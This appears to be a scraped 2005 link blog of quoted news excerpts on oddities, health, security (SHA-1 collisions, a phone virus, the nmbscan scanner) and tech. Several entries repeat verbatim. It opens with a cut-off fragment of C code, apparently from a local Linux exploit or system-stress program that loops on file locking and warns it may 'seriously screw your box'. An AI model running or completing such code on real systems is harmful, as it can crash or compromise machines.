snprintf(vn,sizeof(vn),'TEMPFILEMAYBEDELETE%d.%d',getpid(),cou);
fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
if (fv <0) perror('open2');
if (flock(fv,LOCK_EX) == -1) perror('flock');
}
while(42);
}
int main(int ac, char **av)
{
int fd,fv,i,cou;
void *mv;
char *he,*he2;
loff_t lr;
char c;
printf('\n\nThis may seriously screw your box\n\n');
printf('This cre"
Internet News Article | Reuters.co.uk
Internet News Article | Reuters.co.uk: "SAN FRANCISCO (Reuters) - The world's first mobile phone virus 'in the wild' has spread to the United States from its birthplace in the Philippines eight months ago, a security research firm says.
The virus, called Cabir, has spread slowly into 12 countries and marks the beginning of the mobile phone virus era, which could one day disrupt the lives of many of the world's 1.5 billion mobile phone users.
The biggest impact of the relatively innocuous virus, found in about 15 variations so far, is draining mobile phone batteries, said Mikko Hypponen, director of Finnish anti-virus research company F-Secure."
Yahoo! News - Children Dying in Snowbound Afghanistan
Yahoo! News - Children Dying in Snowbound Afghanistan: "KABUL, Afghanistan - Disease fueled by freezing weather has killed more than 120 Afghan children, and desperate parents are feeding their children opium in a bid to alleviate their suffering, the health minister said Saturday. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "WASHINGTON (Reuters) - President George W. Bush has indicated in interviews secretly taped by a friend before he became president that he used marijuana but would not admit it for fear of setting a bad example for children."
Yahoo! News - Get me to the church on crime
Yahoo! News - Get me to the church on crime: "JOHANNESBURG (Reuters) - A South African police couple who were planning to get married arrived late for their own wedding after they stopped on the way to church to arrest three armed men holding up a motorist, police say.
Inspector Gustav Myburgh and Constable Barbara Beogner were being driven to their wedding near Johannesburg on Saturday when they spotted a crime in progress, police spokesman Eugene Opperman said.
'He was in uniform, she was in her bridal gear, when they saw a hijacking taking place,' Opperman said.
'They had to make a decision were they going to church or were they going to help this other person being hijacked. Of course they chose to help.' "
Yahoo! News - Thieves Steal Built-In Swimming Pool
Yahoo! News - Thieves Steal Built-In Swimming Pool: "SLO, Norway - A Norwegian family's swimming pool wasn't just bolted down, it was in the ground, but that was impediment to a band of determined thieves.
When the Nicolaysen family visited their mountain cabin over the weekend, they discovered a big hole in the yard in place of the swimming pool that had been installed 20 years ago.
'This can't be, we thought,' Arild Nicolaysen told state radio network NRK on Monday. 'We didn't think it was possible. No one can steal a swimming pool.'
Evidently, someone did. "
Yahoo! News - Skydiver, 96, Hurt in Bid to Set Record
Yahoo! News - Skydiver, 96, Hurt in Bid to Set Record: "BREMERTON, Wash. - A 96-year-old man aiming to become the oldest person to make a solo skydive had a rough landing near here and suffered a dislocated shoulder, but otherwise emerged unscathed.
Milburn Hart of Seattle jumped out of a plane Friday afternoon near the Bremerton airport.
'He said his arm hurt on the way out the door, so he had a little problem turning,' said Dina Fodd of Blue Skies Adventures Skydiving. "
: "A non-toxic metal that melts in your hand.
This metal melts at 30� C (86� F).
It can coat objects to make them conductive. It can coat glass to make mirrors.
This element (atomic number 31) has properties similar to aluminum, but with a much lower melting point. It combines with other metals easily to form unique alloys. "
Site web de Gr�goire Barbier
Site web de Gr�goire Barbier: "nmbscan
nmbscan scans the shares of a SMB/NetBIOS network, using the NMB/SMB/NetBIOS protocols. It is useful for acquiring information on a local area network for such purposes as security auditing.
It can obtain such information as NMB/SMB/NetBIOS/Windows hostname, IP address, IP hostname, ethernet MAC address, Windows username, NMB/SMB/NetBIOS/Windows domain name, and master browser.
It can discover all the NMB/SMB/NetBIOS/Windows hosts on a local area network by using the hosts lists maintained by master browsers. "
noDRM.com � Plasma Mounted Mac mini
noDRM.com � Plasma Mounted Mac mini: "Just because Apple hasn�t attached a screen to the Mac mini doesn�t mean you can�t attach your Mac mini to a screen. Check out this cheap (if you don�t include the cost of the plasma) method of mounting the Mac mini to the back of a 42? plasma screen.
(Update: For the record the case fits on fine. Just isn�t fully attached in the picture because I was not done with the inside.)"
noDRM.com � Plasma Mounted Mac mini
noDRM.com � Plasma Mounted Mac mini: "Just because Apple hasn�t attached a screen to the Mac mini doesn�t mean you can�t attach your Mac mini to a screen. Check out this cheap (if you don�t include the cost of the plasma) method of mounting the Mac mini to the back of a 42? plasma screen.
(Update: For the record the case fits on fine. Just isn�t fully attached in the picture because I was not done with the inside.)"
Friday, February 18, 2005
Yahoo! News - Device to Destroy Chem Weapons Modified
Yahoo! News - Device to Destroy Chem Weapons Modified: "ALBUQUERQUE, N.M. - A device used by the Army to dispose of old chemical munitions can also be used to destroy biological weapons, according to a report released by Sandia National Laboratories.
Over the past year, scientists at the labs' Livermore, Calif., facility successfully killed anthrax-like bacteria in the device, the lab said. Modifications to it also allow technicians to determine whether all of a biological agent has been destroyed.
'You can know you're done before you drain or open the door,' said John Didlake, a project manager at the lab. "
Yahoo! News - Road Report Callers Get X-Rated Response
Yahoo! News - Road Report Callers Get X-Rated Response: "TERRACE, British Columbia - Northwest British Columbia residents who dial a toll-free number in the Terrace-area phone book to check highway conditions are getting a bluer answer than usual for blue pages listings.
'Ummm, baby, you've dialed the right number, hot, wet and ... ummmm,' a female voice responds, followed by details that have nothing to do with roads or outdoor weather. "
Yahoo! News - Lawmakers Seek Civility in Divided U.S. House
Yahoo! News - Lawmakers Seek Civility in Divided U.S. House: "WASHINGTON (Reuters) - Two lawmakers who crossed the political aisle to become congressional friends and basketball buddies began a drive on Wednesday for greater civility in the sharply divided U.S. House of Representatives.
With former House leaders on hand to recall the old days when Democrats and Republicans worked, drank and played golf together, they announced creation of a bipartisan Center Aisle Caucus. "
Yahoo! News - Spain Doctor Rebuilds Penises Cut Off for AIDS Cure
Yahoo! News - Spain Doctor Rebuilds Penises Cut Off for AIDS Cure: "MADRID (Reuters) - Two Kenyan boys whose penises were cut off to be sold for making anti-AIDS (news - web sites) potions have had them reconstructed in Spain, the doctor treating them said.
The adolescent boys, from a remote region near the border with Uganda, were mutilated after being given drugged food or drink by strangers. "
Yahoo! News - Frustrated German Thief Caught Napping Red-Handed
Yahoo! News - Frustrated German Thief Caught Napping Red-Handed: "BERLIN (Reuters) - Having broken into a car late at night, a would-be German thief's plans went badly wrong when he failed to pry out its radio, fell asleep clutching his screwdriver, and was woken, then arrested by police.
'The police had an easy time of it,' said a spokeswoman for police in the western city of Cologne on Thursday.
The car's owner alarmed police after spotting the man entering the vehicle. By the time officers arrived shortly afterwards, the man was already sound asleep. "
Yahoo! News - Family Says Funeral Home Returned Organs
Yahoo! News - Family Says Funeral Home Returned Organs: "MADISON, W.Va. - A family claims a deceased relative's organs were among personal belongings returned by a funeral home as they were preparing for the wake.
The family of Charles Quarles Sr. has filed a lawsuit in Boone County Circuit Court against Armstrong Funeral Home of Whitesville, Charleston Mortuary and the state Medical Examiner's Office. The lawsuit seeks unspecified damages for emotional distress, mental anguish, lost sleep, embarrassment and humiliation. It also seeks to recover the cost of medical treatment they received after seeing the organs. "
Yahoo! News - Marijuana Board Game Weeded From Toy Fair
Yahoo! News - Marijuana Board Game Weeded From Toy Fair: "CALGARY, Alberta - A Monopoly-style board game in which players run an imperiled marijuana growing operation has been uprooted from the New York Toy Fair, the Calgary Sun reports.
The Grow-Op Game, manufactured by Bored Games Corp. of Vancouver, British Columbia, was pulled because Toy Industry Association officials decided it violates the values the group seeks to portray and its mandate to support positive development of children. "
Yahoo! News - Robber Who Confessed on $1 Bill Gets Life
Yahoo! News - Robber Who Confessed on $1 Bill Gets Life: "PLATTE CITY, Mo. - A holdup man known as the Bicycle Bandit was sentenced Thursday to life in prison plus 102 years after being convicted on evidence that included a $1 bill on which he had scrawled a description of one of his robberies.
Miguel Vaca, 45, was found guilty in December of pulling three armed robberies in Kansas City in 2002 � at a nail salon, at another business and at an apartment where a 13-year-old girl's birthday party was taking place. "
Yahoo! News - Researchers Identify Roach Mating Scent
Yahoo! News - Researchers Identify Roach Mating Scent: "WASHINGTON - Scientists have identified the 'come hither' scent that female German cockroaches use to lure males, a discovery that may help control one of the world's most troublesome and resistant household pests.
Female cockroaches emit a pheromone, or chemical attractant, to let males know they are ready to mate. Researchers earlier identified the courtship chemicals used by other cockroach species, but the romance scent of the German cockroach remained elusive. "
Yahoo! News - Restraining Order Filed in Cookie Case
Yahoo! News - Restraining Order Filed in Cookie Case: "DURANGO, Colo. - A hearing on a restraining order was scheduled Thursday for the family of one of two girls ordered to pay $930 in medical bills to a woman who claimed the delivery of a plate of cookies scared her to the hospital.
Dick Ostergaard, father of Taylor Ostergaard, 18, filed for the restraining order Feb. 4 against Wanita 'Ranea' Young's husband, who allegedly made harassing calls to the Ostergaard residence. "
Yahoo! News - New Zealand Man Arrives Naked to Court
Yahoo! News - New Zealand Man Arrives Naked to Court: "WELLINGTON, New Zealand - An environmental protester facing indecent exposure charges arrived at Auckland's District Court naked � but dressed before he entered the courtroom Thursday.
Computer technician Simon Oosterman, 24, was charged during the Auckland Naked Bike Ride last Sunday, an event he organized to protest society's dependence on the car. "
Yahoo! News - Parents Say Teacher Made Son Use Lysol
Yahoo! News - Parents Say Teacher Made Son Use Lysol: "ELYRIA, Ohio - A school district was sued by parents who say their son's fourth-grade teacher made the boy spray himself with Lysol in front of classmates because of body odor.
The lawsuit was filed Wednesday in Lorain County Common Pleas Court against the Sheffield-Sheffield Lake district in suburban Cleveland. It asks for $50,000 in damages for public humiliation and subsequent harassment by classmates. "
Yahoo! News - Woman Finds Winning Lotto Ticket in Trash
Yahoo! News - Woman Finds Winning Lotto Ticket in Trash: "SHELBYVILLE, Ind. - A woman who pulled a discarded lottery ticket from a restaurant trash can said she planned to enter it into a second-chance drawing, only to later find out it was worth $100,000.
Two other people had pitched in to buy the $5 Hoosier Lottery scratch-off ticket last week at the Chaperral Cafe. When a clerk at the downtown cafe told them it wasn't the $40 winner they were hoping for, they threw it away, lottery officials said. "
Yahoo! News - Rabid Coyote Attacks Cape Cod Woman
Yahoo! News - Rabid Coyote Attacks Cape Cod Woman: "BARNSTABLE, Mass. - A woman is receiving treatment after being attacked by a rabid coyote in her yard. Cindy Parker-Kelley heard her Norwegian elkhound barking as she was getting ready for work Thursday morning. When she went out to check on her dog, she saw the coyote.
She reached out to shoo it away, and the wild animal clamped its jaws on her left wrist. "
Yahoo! News - Rabbi Rules It's Better to Swallow Gum
Yahoo! News - Rabbi Rules It's Better to Swallow Gum: "JERUSALEM - Your chewing gum has just lost its flavor, but there is no garbage can in sight. What do you do? According to Jewish law, get ready to swallow it.
A prominent Israeli rabbi has ruled that spitting gum on a sidewalk or hiding it under a desk is a violation of Halacha or Jewish law, the Yediot Ahronot newspaper reported Thursday. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "BOISE, Idaho (Reuters) - A strip club in Boise, Idaho has found an artful way to prance past a city law that prohibits full nudity.
On what it calls Art Club Nights, the Erotic City strip club charges customers $15 (8 pounds) for a sketch pad, pencil, and a chance to see completely naked women dancers.
In 2001 the Boise City Council passed an ordinance banning total nudity in public unless it had 'serious artistic merit' -- an exemption meant to apply to plays, dance performances and art classes."
Yahoo! News - Landlord Tosses Tear Gas Grenade in House
Yahoo! News - Landlord Tosses Tear Gas Grenade in House: "LANETT, Ala. - A landlord in an eviction dispute with a tenant allegedly broke windows at his rental property and threw a tear gas grenade into the residence, police said.
Joseph Hammock, 69, of West Point, Ga., was taken into custody early Wednesday after a 1:30 a.m. dispute at the Lanett rental property. Police said the tenant was not injured.
Officers arrested Hammock near his Georgia home on an unrelated arson charge and took him to Troup County Jail, said Lanett Police Chief Ron Docimo.
Deputies found additional materials for building explosive devices and literature for survivalist techniques in Hammock's Georgia residence, said Troop County Sheriff's Lt. Rick Massie.
Docimo said Hammock will be extradited back to Alabama on a felony charge when he makes bond in Georgia. "
Yahoo! News - Man Tries to Toss Cigarette, SUV Ignites
Yahoo! News - Man Tries to Toss Cigarette, SUV Ignites: "SAN FRANCISCO - A man barely escaped serious injury Thursday after a lit cigarette he tried to toss out the window while driving across the Bay Bridge blew back in and ignited the vehicle, according to the California Highway Patrol.
The unidentified man was driving westbound at about 10:40 a.m. when he tossed the cigarette out the window of his Ford Expedition, said CHP Officer Shawn Chase. "
Wednesday, February 16, 2005
SourceForge.net: Project Info - gaim-e
SourceForge.net: Project Info - gaim-e: "gaim-e is an encryption plugin for gaim. It uses gnupg (gpg) to securely transfer the session key (RC5). It works with AOL, MSN, and YAHOO. More protocols to come soon. At the current time the GPGME is needed."
StorageForum :: View topic - Promise SX6000 Raid Issues
StorageForum :: View topic - Promise SX6000 Raid Issues: "So last fall, I decided to get a raid5 hardware controller to create a TB storage array/server. At the time, I was runnin my main server of 3 x 200GB WDJB on an abit vp6 runnin dual vp6. After much research and lookin aroung, I picked up a Promise SX6000 with teh plan to upgrade to 6 x 200GB on RAID5 for a TB of net storage with the possibility of one lost drive. I didn't have the money to shell out for a 3ware 8port and didn't see much point in getting overpriced 250GB drives. Several weeks ago, I picked up several more 200GB drives and started to build the array.
After many problems with the vp6 and BSOD's and the like, I decided to just pick up a new mobo and split the p3s into two storage arrays. After a fresh install of 2K, I finally got the Array setup and formated and initialised. Woohoo 930GB!! However, after 2 days, something went wrong and the card beeped like mad. Upon rebooting and inspection, I was shocked to find drives 1 and 2 had disappeared off the array. I double checked the cables and unplugged them and plugged them back in. Then after I loaded it back up, the Promise BIOS told me drives 1 and 2 were free, and the array offline. I had no idea how to fix this. Since I had nothing on it, I rebuilt it and formated and recreated. It ran fine for about a week, before the same thing happened again. This time, it was drives 3-6 that had dissappeared and are now free and not attached to the array. I have no idea how to fix this. I talked to someone who also had this and they said they had problems with raid5 on their SX6000.
So, is this a known bug? problem? common issue?
Is this with the Promise Card or the WD2000JB drives?
Is it cuz I'm running 4 drives that are new and 2 that are older? diff firmware?
And if this "
Schneier on Security: SHA-1 Broken
Schneier on Security: SHA-1 Broken: "SHA-1 Broken
SHA-1 has been broken. Not a reduced-round version. Not a simplified version. The real thing.
The research team of Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu (mostly from Shandong University in China) have been quietly circulating a paper announcing their results:
collisions in the the full SHA-1 in 2**69 hash operations, much less than the brute-force attack of 2**80 operations based on the hash length.
collisions in SHA-0 in 2**39 operations.
collisions in 58-round SHA-1 in 2**33 operations.
This attack builds on previous attacks on SHA-0 and SHA-1, and is a major, major cryptanalytic result. It pretty much puts a bullet into SHA-1 as a hash function for digital signatures (although it doesn't affect applications such as HMAC where collisions aren't important).
The paper isn't generally available yet. At this point I can't tell if the attack is real, but the paper looks good and this is a reputable research team.
More details when I have them. "
Schneier on Security: SHA-1 Broken
Schneier on Security: SHA-1 Broken: "SHA-1 Broken
SHA-1 has been broken. Not a reduced-round version. Not a simplified version. The real thing.
The research team of Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu (mostly from Shandong University in China) have been quietly circulating a paper announcing their results:
collisions in the the full SHA-1 in 2**69 hash operations, much less than the brute-force attack of 2**80 operations based on the hash length.
collisions in SHA-0 in 2**39 operations.
collisions in 58-round SHA-1 in 2**33 operations.
This attack builds on previous attacks on SHA-0 and SHA-1, and is a major, major cryptanalytic result. It pretty much puts a bullet into SHA-1 as a hash function for digital signatures (although it doesn't affect applications such as HMAC where collisions aren't important).
The paper isn't generally available yet. At this point I can't tell if the attack is real, but the paper looks good and this is a reputable research team.
More details when I have them. "
Tuesday, February 15, 2005
My Children Will Not Be Attending College
My Children Will Not Be Attending College: "Like most American parents, I have been diligently saving for my childrens' education since the day when each was born. Believing, as we are told, that a college education is not merely desirable, but actually necessary for the betterment of my offspring, I knew I was doing the only responsible thing a parent could do. With six wonderful children, it was not unreasonable, I felt, to expect to be the only family in town to give rise to a lawyer, a doctor, a quarterback, an elementary school teacher, a cheerleader and a nurse.
Over the past few years, however, my dreams of academic success have begun to look a more than a little naive. A growing disapproval of the manner in which our college educated young present themselves began a process of disillusionment which ended with my decision to refuse my eldest the 'advantage' of college this coming Fall. The events that brought this situation to a head occurred last Thanksgiving, when my neighbour's daughter, Blair, returned home for the first time since she had left to attend MIT that year. "
Is Your Son a Computer Hacker?
Is Your Son a Computer Hacker?: "As an enlightened, modern parent, I try to be as involved as possible in the lives of my six children. I encourage them to join team sports. I attend their teen parties with them to ensure no drinking or alcohol is on the premises. I keep a fatherly eye on the CDs they listen to and the shows they watch, the company they keep and the books they read. You could say I'm a model parent. My children have never failed to make me proud, and I can say without the slightest embellishment that I have the finest family in the USA.
Two years ago, my wife Carol and I decided that our children's education would not be complete without some grounding in modern computers. To this end, we bought our children a brand new Compaq to learn with. The kids had a lot of fun using the handful of application programs we'd bought, such as Adobe's Photoshop and Microsoft's Word, and my wife and I were pleased that our gift was received so well. Our son Peter was most entranced by the device, and became quite a pro at surfing the net. When Peter began to spend whole days on the machine, I became concerned, but Carol advised me to calm down, and that it was only a passing phase. I was content to bow to her experience as a mother, until our youngest daughter, Cindy, charged into the living room one night to blurt out: 'Peter is a computer hacker!' "
Microsoft bent my Danish prime minister
Microsoft bent my Danish prime minister: "THE NOSOFTWARE Patents site is reporting that Bill Gates told the Danish prime minister Anders Fogh Rasmussen that 800 jobs would go if the country opposed the European Union's proposed directive on software patents.
It quotes a report in Danish newspaper B�rsen, which alleges that Gates told Ramissen and two other Danish ministers last November that 800 jobs at Navision would go unless the EU passed the directive.
The ginger group also alleges today that the CEO of Philips put pressure on the Dutch government to support the proposed directive."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "NEW YORK (Reuters Health) - Men and women often decide in minutes who they want to date, and base that decision on largely superficial factors, new research from a speed dating service suggests.
During a speed dating session, in which roughly 25 men and 25 women met for three minutes at a time, both sexes tended to decide who they wanted to spend more time with based on how potential partners looked, caring most about facial attractiveness, height, and weight.
This contradicts previous research in which people said they choose mates based on religion, income, and whether they were previously married, among other factors, study author Dr. Robert Kurzban told Reuters Health."
Yahoo! News - Caffeine Intake Tied to Teens' Blood Pressure
Yahoo! News - Caffeine Intake Tied to Teens' Blood Pressure: "NEW YORK (Reuters Health) - The amount of caffeine consumed by teenagers is directly related to their daytime blood pressure -- and this effect is especially pronounced among African Americans -- researchers report."
Yahoo! News - Low Cholesterol May Mean Poorer Mental Powers
Yahoo! News - Low Cholesterol May Mean Poorer Mental Powers: "NEW YORK (Reuters Health) - We hear plenty about the dangers of high cholesterol levels, but low levels apparently confer their own risks. Naturally low cholesterol levels are associated with poorer performance on a variety of cognitive measures, according to a new study."
Yahoo! News - Online Syphilis Testing Shows Promise
Yahoo! News - Online Syphilis Testing Shows Promise: "NEW YORK (Reuters Health) - Online syphilis testing is a convenient alternative to standard testing in a clinic, and the Internet approach could potentially increase screening rates, according to a report in the medical journal Sexually Transmitted Diseases."
Yahoo! News - Lawsuits Spread in Over Penis Enlargement Claims
Yahoo! News - Lawsuits Spread in Over Penis Enlargement Claims: "LOS ANGELES (Reuters) - A New Jersey man has filed a false advertising lawsuit against a maker of herbal penis enlargement pills, alleging the medicine does not fulfill its promises, the plaintiff's lawyer said on Monday."
Yahoo! News - Wine Puts Women's Hearts on Song -Study
Yahoo! News - Wine Puts Women's Hearts on Song -Study: "Researchers at Sweden's Karolinska Institute in Stockholm found that women who had already suffered a heart attack or had heart surgery for blocked arteries had higher Heart Rate Variability (HRV) if they drank moderately than if they were teetotal."
Yahoo! News - Scientists Examine Possible New HIV Strain in NY
Yahoo! News - Scientists Examine Possible New HIV Strain in NY: "WASHINGTON (Reuters) - Scientists said on Monday they were studying a potentially new virulent strain of the AIDS (news - web sites) virus taken from a New York man to see if it posed any public danger."
Yahoo! News - Flu Vaccine Doesn't Shield Seniors as Much as Thought
Yahoo! News - Flu Vaccine Doesn't Shield Seniors as Much as Thought: "MONDAY, Feb. 14 (HealthDay News) -- A sophisticated statistical analysis finds that influenza vaccination is not as effective at reducing deaths among older Americans as the raw numbers might imply."
Yahoo! News - Compound Fights Gleevec-Resistant Leukemia
Yahoo! News - Compound Fights Gleevec-Resistant Leukemia: "MONDAY, Feb. 14 (HealthDay News) -- The drug Gleevec has proven a lifesaver for people with a blood cancer called chronic myeloid leukemia (CML). However, a growing number of CML patients have cancers resistant to the medication."
Yahoo! News - Reprogrammed HIV Can Hunt Down Cancer Cells
Yahoo! News - Reprogrammed HIV Can Hunt Down Cancer Cells: "MONDAY, Feb. 14 (HealthDay News) -- A harmless version of HIV (news - web sites), the virus that causes AIDS (news - web sites), is being used to hunt down malignant melanoma cancer cells in mice, researchers say."
Yahoo! News - Hungry Man Holds Up Store, Demands Sushi
Yahoo! News - Hungry Man Holds Up Store, Demands Sushi: "TOKYO (Reuters) - A Japanese man pulled a knife in a convenience store early Sunday morning and threatened to kill himself unless he was given a meal of the choicest sushi."
Yahoo! News - Berlin Shows There's No Business Like Porn Business
Yahoo! News - Berlin Shows There's No Business Like Porn Business: "BERLIN (Reuters) - Pornography has been elevated to an art form as never before at the Berlin Film Festival, which has spotlighted the industry and its commercial success.
After the leading actress in last year's festival-winning film was hounded to tears by German tabloids when it emerged she had a history in hard-core, the Berlinale turned the controversy on its head by making porn a centerpiece this year.
Several films focusing on sexual repression, especially in the United States, have drawn large and appreciative audiences in Berlin, one of the world's top festivals with a liberal tradition in a city governed by a popular gay mayor."
Yahoo! News - Love Doc: Kissing Is Best Valentine's Gift
Yahoo! News - Love Doc: Kissing Is Best Valentine's Gift: "SEATTLE - This Valentine's Day (news - web sites), forget the flowers and chocolate. Cherie Byrd has a better idea: Learn to pucker up. Byrd, a psychotherapist who teaches kissing, thinks Americans should use their lips to speak to their sweethearts instead of their wallets."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LONDON (Reuters) - A presenter and producer have been suspended by their radio station after staging a mock burglary of their boss's house while on air.
Kerrang! 105.2 said in a statement on Monday it had suspended presenter Tim Shaw and producer Greg Pebble indefinitely following 'an attempted on-air prank that went way far beyond the bounds of acceptable behaviour' last week."
Yahoo! News - Italy Event Probes Bible's Lighter Side
Yahoo! News - Italy Event Probes Bible's Lighter Side: "ROME - Humor in the Bible? Scholars say the Old and New Testament are riddled with humorous references and aim to set the record straight at a three-day congress beginning Monday, 'Laughter and Comedy in Ancient Christianity.'
There's the tale from Luke's Gospel of Zaccheus, a diminutive and despised tax collector who, eager to see Jesus at a busy gathering, is forced into the attention-grabbing indignity of scrambling up a tree.
Or the patriarch Isaac, whose name comes from the Hebrew word for laughter because of the joy and disbelief his birth brought to his aging parents, Abraham and Sarah."
Yahoo! News - 'Highway of Love' Sex Motels Very Discreet
Yahoo! News - 'Highway of Love' Sex Motels Very Discreet
Yahoo! News - Pluto Still a Mystery 75 Years Later
Yahoo! News - Pluto Still a Mystery 75 Years Later: "FLAGSTAFF, Ariz. - It's been 75 years since the discovery of Pluto, but it remains a mystery. Perhaps in another 10 years some of its secrets will be revealed when a space probe gets close enough for a good look."
Sunday, February 13, 2005
Yahoo! News - Personality, Not Values, Makes the Marriage -Study
Yahoo! News - Personality, Not Values, Makes the Marriage -Study: "WASHINGTON (Reuters) - Shared moral values are less important than compatible personalities as a recipe for a good marriage, according to a study released on Sunday. "
Latest Business News and Financial Information | Reuters.co.uk
Latest Business News and Financial Information | Reuters.co.uk: "LONDON (Reuters) - AstraZeneca's cholesterol-lowering drug Crestor should only be used after all other alternatives have failed, according to newspaper comments by a veteran U.S. Food and Drug Administration official.
Saturday's Independent said David Graham told the newspaper in an interview that Crestor had 'unique toxicity' caused by the fact that in a small number of patients it has two adverse side effects -- muscle wasting and kidney failure. "
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "SYDNEY (Reuters) - Islanders on tiny Tuvalu in the South Pacific last week saw the future of global warming and rising sea levels, as extreme high tides caused waves to crash over crumbling sea-walls and flood their homes.
'Our island is sinking together with our hearts,' wrote Silafaga Lalua in Tuvalu News (www.tuvaluislands.com).
Tuvalu is a remote island nation consisting of a fringe of atolls covering just 10 sq miles, with the highest point no more than 17 ft above sea level, but most a mere 6.5 ft."
Yahoo! News - Saudi Morality Police See Red Over Valentine Roses
Yahoo! News - Saudi Morality Police See Red Over Valentine Roses: "RIYADH, Saudi Arabia (Reuters) - Saudi Arabia's morality police are on the scent of illicit red roses as part of a clampdown on would-be St Valentine's lovers in the strict Muslim kingdom. "
Yahoo! News - Saudi Morality Police See Red Over Valentine Roses
Yahoo! News - Saudi Morality Police See Red Over Valentine Roses: "RIYADH, Saudi Arabia (Reuters) - Saudi Arabia's morality police are on the scent of illicit red roses as part of a clampdown on would-be St Valentine's lovers in the strict Muslim kingdom. "
Yahoo! News - Saudi Morality Police See Red Over Valentine Roses
Yahoo! News - Saudi Morality Police See Red Over Valentine Roses: "RIYADH, Saudi Arabia (Reuters) - Saudi Arabia's morality police are on the scent of illicit red roses as part of a clampdown on would-be St Valentine's lovers in the strict Muslim kingdom. "
Yahoo! News - Family sues Libya over children's deaths in AIDS epidemic
Yahoo! News - Family sues Libya over children's deaths in AIDS epidemic: "TRIPOLI (AFP) - A Libyan family whose two daughters died of AIDS (news - web sites) after being in a hospital hit by an outbreak of the deadly virus went to court to sue the state over their deaths, a legal source said. "
PhysOrg: Scientists find flaw in quantum dot construction
PhysOrg: Scientists find flaw in quantum dot construction: "Nanoscientists dream of developing a quantum computer, a device the size of a grain of sand that could be faster and more powerful than today's PCs. They've identified tiny artificial atoms � called 'quantum dots' � as the most likely materials to build these machines, but have been puzzled by the dots' unpredictable behavior at the nanoscale. Now a team of Ohio University physicists thinks it's found the problem � and has proposed a blueprint for building a better quantum dot. The researchers, who published their findings in this week's issue of Physical Review Letters, argue that defects formed during creation of the quantum dots operate as a barrier to scientific experimentation. "
PhysOrg: Scientists find flaw in quantum dot construction
PhysOrg: Scientists find flaw in quantum dot construction: "Nanoscientists dream of developing a quantum computer, a device the size of a grain of sand that could be faster and more powerful than today's PCs. They've identified tiny artificial atoms � called 'quantum dots' � as the most likely materials to build these machines, but have been puzzled by the dots' unpredictable behavior at the nanoscale. Now a team of Ohio University physicists thinks it's found the problem � and has proposed a blueprint for building a better quantum dot. The researchers, who published their findings in this week's issue of Physical Review Letters, argue that defects formed during creation of the quantum dots operate as a barrier to scientific experimentation. "
PhysOrg: Scientists find flaw in quantum dot construction
PhysOrg: Scientists find flaw in quantum dot construction: "Nanoscientists dream of developing a quantum computer, a device the size of a grain of sand that could be faster and more powerful than today's PCs. They've identified tiny artificial atoms � called 'quantum dots' � as the most likely materials to build these machines, but have been puzzled by the dots' unpredictable behavior at the nanoscale. Now a team of Ohio University physicists thinks it's found the problem � and has proposed a blueprint for building a better quantum dot. The researchers, who published their findings in this week's issue of Physical Review Letters, argue that defects formed during creation of the quantum dots operate as a barrier to scientific experimentation. "
PhysOrg: Scientists find flaw in quantum dot construction
PhysOrg: Scientists find flaw in quantum dot construction: "Nanoscientists dream of developing a quantum computer, a device the size of a grain of sand that could be faster and more powerful than today's PCs. They've identified tiny artificial atoms � called 'quantum dots' � as the most likely materials to build these machines, but have been puzzled by the dots' unpredictable behavior at the nanoscale. Now a team of Ohio University physicists thinks it's found the problem � and has proposed a blueprint for building a better quantum dot. The researchers, who published their findings in this week's issue of Physical Review Letters, argue that defects formed during creation of the quantum dots operate as a barrier to scientific experimentation. "
PhysOrg: Scientists find flaw in quantum dot construction
PhysOrg: Scientists find flaw in quantum dot construction: "Nanoscientists dream of developing a quantum computer, a device the size of a grain of sand that could be faster and more powerful than today's PCs. They've identified tiny artificial atoms � called 'quantum dots' � as the most likely materials to build these machines, but have been puzzled by the dots' unpredictable behavior at the nanoscale. Now a team of Ohio University physicists thinks it's found the problem � and has proposed a blueprint for building a better quantum dot. The researchers, who published their findings in this week's issue of Physical Review Letters, argue that defects formed during creation of the quantum dots operate as a barrier to scientific experimentation. "
PhysOrg: Scientists find flaw in quantum dot construction
PhysOrg: Scientists find flaw in quantum dot construction: "Nanoscientists dream of developing a quantum computer, a device the size of a grain of sand that could be faster and more powerful than today's PCs. They've identified tiny artificial atoms � called 'quantum dots' � as the most likely materials to build these machines, but have been puzzled by the dots' unpredictable behavior at the nanoscale. Now a team of Ohio University physicists thinks it's found the problem � and has proposed a blueprint for building a better quantum dot. The researchers, who published their findings in this week's issue of Physical Review Letters, argue that defects formed during creation of the quantum dots operate as a barrier to scientific experimentation. "
PhysOrg: Scientists find flaw in quantum dot construction
PhysOrg: Scientists find flaw in quantum dot construction: "Nanoscientists dream of developing a quantum computer, a device the size of a grain of sand that could be faster and more powerful than today's PCs. They've identified tiny artificial atoms � called 'quantum dots' � as the most likely materials to build these machines, but have been puzzled by the dots' unpredictable behavior at the nanoscale. Now a team of Ohio University physicists thinks it's found the problem � and has proposed a blueprint for building a better quantum dot. The researchers, who published their findings in this week's issue of Physical Review Letters, argue that defects formed during creation of the quantum dots operate as a barrier to scientific experimentation. "
Yahoo! News - Bank That Bans Customers Inside Robbed
Yahoo! News - Bank That Bans Customers Inside Robbed: "DISTRICT HEIGHTS, Md. - A bank that has been robbed so many times it bans customers from coming inside was held up again anyway on Friday.
Anyone using the Bank of America branch on Silver Hill Rd. has been forced to go to the drive-up or the ATM for the last few months, after managers got fed up with the repeated heists. But when one of the tellers went out for a break, a robber saw a window of opportunity.
'There were two tellers inside of this bank. One of the tellers left to run over to the drug store and as she was walking back, a suspect wearing dark clothing produced a gun and forced her inside the bank,' Cpl. Diane Richardson of the Prince George's County police. The suspect tried to lock both tellers in the vault, but could not.
No one was hurt, and there was no word on how much money the suspect made off with.
Police said just last week, a teller was about to leave when she saw a man outside with a gun. She was able to lock herself in and get help."
Yahoo! News - Driver Said to Make 'Survivor' Tape on Bus
Yahoo! News - Driver Said to Make 'Survivor' Tape on Bus: "BUENA VISTA, Pa. - A school bus driver encouraged students to jump around, throw things and misbehave on her moving bus so she could make an audition videotape for the reality television show 'Survivor,' police said.
